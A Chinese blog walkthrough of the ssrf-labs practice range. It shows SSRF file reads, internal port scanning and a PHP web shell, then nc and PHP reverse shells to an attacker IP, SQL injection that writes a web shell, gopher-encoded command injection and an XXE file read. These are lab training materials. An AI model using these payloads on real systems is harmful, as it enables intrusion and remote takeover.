前面我们已经打完了dvwa,xss,sql靶场,sql靶场由于数目较多,这里就不再进行展示了。今天展示一下ssrf-labs靶场。
目录
2、ssrf-http-codeExec(172.72.23.22)
3、ssrf-http-sqlinject(172.72.23.23)
一、靶场安装
安装命令如下所示
git clone https://github.com/ProbiusOfficial/ssrf-labs.git
cd ssrf-labs
docker-compose up -d
访问:http://172.25.54.94:8880作为入口进行访问

靶场提供的拓扑图如图所示

二、靶场通关(1)
首先我们应该先理解SSRF这个漏洞。SSRF(服务器请求伪造攻击),通过构造恶意请求,诱导服务器进行指定目标(含内网) 发起请求。主要利用方式是通过一些特定的协议来进行的,比如file,dict,gohper等协议,可以进行任意文件读取,执行恶意命令。 dict 协议可探测内网端口 / 服务版本等。那么理解好这个漏洞,我们就可以进行一系列的操作了。
我们先分析一下这个靶场结构

根据拓扑图来看,那么入口就是说172.72.23.21这个服务器就是内网与外网的入口了。下面这一排的靶机进行访问是无法访问的,要攻击这些靶机就要通过入口。就是SSRF中服务器来进行伪造请求,访问内网进行攻击。废话不多说,开始进行靶场通关。
1、ssrf-entry(172.72.23.21)

根据输入url,我们来进行输入一些特定的IP地址,比如说请求我的服务器上的文件
http://172.25.54.94/23.php

根据结果,我们可以看到请求成功的,那么再试试协议,我们看到提示使用file协议
那么使用如下进行构造
file:///etc/passwd

请求成功,那么请求本机信息
file:///etc/hosts

可以看到本服务器的IP地址,那么拿到IP地址,我们就可以进行主机探测了,记住不是在本地进行主机探测,而是让服务器去进行探测,那么怎么让服务器去进行探测,这里主要有两种方式,一种是http协议,一种是使用dict特定协议。
1、使用http协议,就是通过是否有正常的返回页面来进行判断,我们知道在处于内网的主机都是处于同一个网段的,那么借助这个信息我们就可以进行测试,接下来我们使用bp进行测试,首先在url提交访问本服务器的页面,然后进行抓包发到intruder进行爆破攻击

选择最后一个数值和端口进行爆破

爆破范围设定到从10到100(因为知道IP地址,这里就从简了)

payload2设置常见得端口即可

使用第四种集束炸弹进行爆破,结果如下

少了一个26的8080端口,但是不影响啊,这样就可以总结其内网主机信息了,还有一个30的9000端口啊,爆破漏了,但是也不影响啊,实战中肯定要全部进行爆破的,这里我只是进行快速爆破啊
172.72.23.21:80
172.72.23.22:80
172.72.23.23:80
172.72.23.24:80
172.72.23.25:80
172.72.23.26:8080
172.72.23.27:6379
172.72.23.28:80
172.72.23.29:3306
172.72.23.30:9000
2、使用dict协议进行测试,dict 协议可用于探测开放端口,尤其对返回 TCP 回显的服务。测试语句如下面所示,具体的就不再展示了
dict://172.172.0.15:6379/info
那么通过入口我们已经收集到足够多的信息,服务信息可以根据爆破信息进行一个个测试,比如说
测试下面主机的端口所带的服务
http://172.72.23.25:80

那么接下来就是来进行第二个主机的攻击
2、ssrf-http-codeExec(172.72.23.22)
此关对应的IP地址是172.72.23.22,对应的是80端口,我们查看一下有没有信息

存在两个文件,分别查看一下这两个文件


第二个是一个php文件,完整的php内容如下所示
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
if (isset($cmd)) {
echo "<pre>";
system($cmd);
echo "</pre>";
}
?>
那么借助此php文件,我们就可以通过cmd传参,进行执行命令,比如说
http://172.72.23.22/shell.php?cmd=whoami

可以看到命令执行成功,当前用户为www-data,还可以执行很多命令
http://172.72.23.22/shell.php?cmd=whoami
http://172.72.23.22/shell.php?cmd=ls
http://172.72.23.22/shell.php?cmd=uname
http://172.72.23.22/shell.php?cmd=ifconfig

其它的就不再尝试了,那么能不能进一步扩大危害呢,比如说反弹shell,我们先看看能不能目标机能不能ping通我的的攻击机
使用命令如下
http://172.72.23.22/shell.php?cmd=ping%20-c%204%20172.25.54.94

可以ping通,那么可以利用nc进行反弹shell,先设置监听
nc -lvp 9999

使用命令进行反弹
http://172.72.23.22/shell.php?cmd=nc%20172.25.54.94%209999%20-e%20/bin/sh

反弹成功,获取主机的shell
我们知道可以解析php文件,那么可以php进行反弹shell,具体代码如下
<?php
$ip = "172.25.54.94";
$port = 9999;
// 建立 TCP 连接
$socket = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$socket) die();
// 执行 /bin/sh,并绑定输入输出错误流到 socket
$process = proc_open("/bin/sh", [
0 => $socket, // 标准输入(stdin)绑定 socket
1 => $socket, // 标准输出(stdout)绑定 socket
2 => $socket // 标准错误(stderr)绑定 socket
], $pipes);
// 保持连接(防止进程退出)
proc_close($process);
fclose($socket);
?>
然后进行url编码,最后执行语句如下
http://172.72.23.22/shell.php?cmd=php%20-r%20%27%24ip%3D%22172.25.54.94%22%3B%24port%3D9999%3B%24socket%3Dfsockopen%28%24ip%2C%24port%2C%24errno%2C%24errstr%2C30%29%3Bif%28%21%24socket%29die%28%29%3B%24process%3Dproc_open%28%22%2Fbin%2Fsh%22%2C%5B0%3D%3E%24socket%2C1%3D%3E%24socket%2C2%3D%3E%24socket%5D%2C%24pipes%29%3Bproc_close%28%24process%29%3Bfclose%28%24socket%29%3B%27

成功执行。那么这个主机获取shell就可以了。进行下一个主机
3、ssrf-http-sqlinject(172.72.23.23)

是sql注入。我们有救了,哈哈哈开玩笑的。sql注入的话一般都是通过使用id之类的进行传递参数,比如说使用下面的语句
http://172.72.23.23?id=1

那么直接sql注入即可,先判断是字符型还是数字型的

看着错误,应该是数字型,判断如下

使用以下命令判断字段
http://172.72.23.23?id=1 order by 3#


那么接下来就是爆数据库了,使用如下语句
id=1 union select 1,database(),3#

爆出数据库ctf,那么接下来就是爆表,爆字段了
id=1 union select 1,(select table_name from information_schema.tables where table_schema='ctf' limit 0,1),3#

爆出表名flag,继续爆字段
id=1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 0,1),3#

爆出字段id,接下来就到这里了,不再进行操作了。感觉还能够进一步扩大危害,能不能通过sql语句写入shell呢,尝试一下,使用如下语句
id=1 UNION SELECT 1, '<?php system($_GET["cmd"]);?>', 3 INTO OUTFILE '/var/www/html/shell.php' -- -

ok,那么尝试一下是否写入成功

ok,成功执行,那么最后和上一个主机一样获得shell即可,这里就不展示了。
提示:可能有些人会有困惑,为什么不使用一句话木马呢,这里我解释一下,SSRF漏洞一般是针对内网的,而内网环境是外网无法访问内网,但是内网可以访问外网,所以说这是为什么我要进行反弹shell,而不是进行正向shell的原因了。反弹shell是让目标机来主动连我们攻击机·,两种连接方式上来说,反弹shell是更加简单的。但是利用条件是比较苛刻的,就是能够在目标机执行命令。
那么此主机到这里就结束,下一个。
4、ssrf-http-commandExec

出来的是一个页面代码信息,分析一下
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Network Status Checker</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
padding-top: 2rem;
}
.checker-container {
background: white;
padding: 2rem;
border-radius: 10px;
box-shadow: 0 0 15px rgba(0,0,0,0.1);
margin-bottom: 2rem;
}
.result-area {
margin-top: 20px;
background: #f8f9fa;
padding: 15px;
border-radius: 5px;
border: 1px solid #dee2e6;
}
.api-info {
color: #6c757d;
font-size: 0.9rem;
margin-top: 1rem;
}
</style>
</head>
<body>
<div class="container">
<div class="checker-container">
<h3 class="mb-4">Network Status Checker API</h3>
<form method="POST" action="ping.php" class="mb-4">
<div class="row g-3 align-items-center">
<div class="col-auto">
<input type="text" class="form-control"
name="target" placeholder="输入IP地址或域名"
pattern="^[a-zA-Z0-9.-]+$"
title="请输入有效的IP地址或域名">
</div>
<div class="col-auto">
<button type="submit" class="btn btn-primary">检测</button>
</div>
</div>
</form>
<div class="api-info">
<h6>API 使用说明:</h6>
<ul>
<li>使用原生Linux命令 ping -c 4 进行检测</li>
<li>支持 IPv4 地址和域名检测</li>
<li>默认发送4个数据包</li>
</ul>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
这个 HTML 页面是一个简单的网络状态检测工具前端,核心功能是让用户输入 IP / 域名,通过后端ping.php执行 Linux ping命令检测网络连通性。
功能分析
- 请求方式:
method="POST"。 - 提交目标:
action="ping.php",明确后端处理文件路径。 - 输入验证:通过
pattern="^[a-zA-Z0-9.-]+$"做前端输入过滤,仅允许 IP / 域名的合法字符(禁止;、&、|等特殊符号),但前端验证可轻松绕过(如修改 HTML 代码、抓包改参数)。
这题分析了源码,需要以post方式提交,所以这里我们需要使用到特定的协议,其中,能够进行以post方式提交数据的就有gopher协议,具体的协议这里就不再介绍,使用此协议需要先构建特定的post数据,然后进行二次url编码,首先先构建post数据
POST /ping.php HTTP/1.1
Host: 172.72.23.24
Content-Length: 12
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.72.23.24
Referer: http://172.72.23.24
Connection: close
target=127.0.0.1
然后进行url编码

选择对所有字符进行url编码,一次就行
然后使用下面语句后面加上编码的语句进行访问即可
gopher://172.72.23.24:80/_

可以看到数据返回ping结果,成功。源码中过滤了&和||字符,但是没有过滤冒号,直接使用下面的语句进行反弹shell
target=127.0.0.1;nc%20172.25.54.94%209999%20-e%20/bin/sh
首先进行端口监听

然后使用下面语句进行post数据提交
gopher://172.72.23.24:80/_%50%4f%53%54%20%2f%70%69%6e%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%32%34%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%35%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%31%34%31%2e%30%2e%30%2e%30%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%4f%72%69%67%69%6e%3a%20%68%74%74%70%3a%2f%2f%31%37%32%2e%37%32%2e%32%33%2e%32%34%0d%0a%52%65%66%65%72%65%72%3a%20%68%74%74%70%3a%2f%2f%31%37%32%2e%37%32%2e%32%33%2e%32%34%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a%74%61%72%67%65%74%3d%31%32%37%2e%30%2e%30%2e%31%3b%6e%63%25%32%30%31%37%32%2e%32%35%2e%35%34%2e%39%34%25%32%30%39%39%39%39%25%32%30%2d%65%25%32%30%2f%62%69%6e%2f%73%68

虽然说504错误,但是语句是成功执行的,成功getshell

5、ssrf-xee(172.72.23.25)

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>XXE漏洞实验环境</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body { padding-top: 50px; }
.login-container {
max-width: 500px;
margin: 0 auto;
padding: 15px;
}
.form-group { margin-bottom: 15px; }
</style>
</head>
<body>
<div class="container login-container">
<div class="card">
<div class="card-body">
<h2 class="text-center mb-4">用户登录</h2>
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" id="username">
<small class="form-text text-muted">默认用户名:admin</small>
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" id="password">
<small class="form-text text-muted">默认密码:admin</small>
</div>
<button type="submit" class="btn btn-primary w-100" onclick="login()">登录</button>
<div id="result" class="mt-3"></div>
</div>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script type='text/javascript'>
function login(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
Swal.fire({
icon: 'error',
title: '错误',
text: '用户名或密码不能为空'
});
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: window.location.href,
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
Swal.fire({
icon: 'error',
title: '登录失败',
text: '用户名或密码错误'
});
}else if(code == "1"){
Swal.fire({
icon: 'success',
title: '登录成功',
text: 'XXE!,' + msg
});
}else{
Swal.fire({
icon: 'error',
title: '系统错误',
text: msg
});
}
},
error: function(xhr, status, error) {
Swal.fire({
icon: 'error',
title: '请求错误',
text: error
});
}
});
}
</script>
</body>
</html>
这是一个简单的登录页面,主要功能包括:
- 提供用户名和密码输入框
- 使用 JavaScript 将用户输入封装为 XML 格式
- 通过 AJAX POST 请求将 XML 数据发送到服务器
- 根据服务器返回的 XML 响应显示登录结果
那么此题还是和上面的思路一样的,就是构造payload,然后使用gopher协议来提交Post数据
post数据构造如下
POST / HTTP/1.1
Host: 172.72.23.25
Content-Length: 199
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Content-Type: application/xml;charset=utf-8
Accept: */*
Origin: http://172.72.23.25
Referer: http://172.72.23.25
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
<!ENTITY xee SYSTEM "file:///etc/passwd">]>
<user>
<username>
&xee;
</username>
<password>
admin
</password>
</user>
然后进行编码


然后和下面的语句进行拼接
gopher://172.72.23.24:80/_

可以看到其命令执行成功。想要进行反弹shell,但是又想起xee并不能直接执行系统命令,想要执行系统命令的话,并且其环境又存在php,那么就可以使用expect进行,但是尝试了一番,并没有成功,说明没有开启expect扩展,那么可以扩大的危害就可以通过一系列协议来进行信息收集,端口探测之类的了,这里就不再展示了。
那么接下来的几关明天再更新啊。
276

被折叠的 条评论
为什么被折叠?



